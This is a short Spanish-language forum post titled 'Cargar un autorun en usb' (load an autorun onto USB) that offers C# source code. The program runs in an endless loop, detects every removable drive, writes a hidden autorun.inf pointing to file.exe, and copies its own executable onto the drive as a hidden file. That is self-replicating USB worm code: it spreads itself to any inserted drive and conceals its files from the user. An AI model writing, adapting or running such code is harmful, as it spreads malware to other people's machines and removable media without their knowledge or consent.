• Fuentes

 #491422  por davinciomar
 
Cargar un autorun en usb.
using System.Reflection;
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
namespace Program
{
    class Program
    {
        static void Main(string[] args)
        {
			while (true){
				try{
					Comprueba();
				}catch(Exception ex){
					Console.WriteLine(ex);
				}
			}
        }
		static void Comprueba()
		{
			  DriveInfo[] drives = DriveInfo.GetDrives();
			  foreach (DriveInfo drive in drives)
					{
						if (drive.DriveType == DriveType.Removable)
						{
							  StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf", true);
							   writer.WriteLine("[autorun]\n");
                               writer.WriteLine("open=file.exe");
                               writer.WriteLine("action=Run win32");
                               writer.Close();
							   File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

							   File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);

							   File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);

						}
					}

		}
    }
}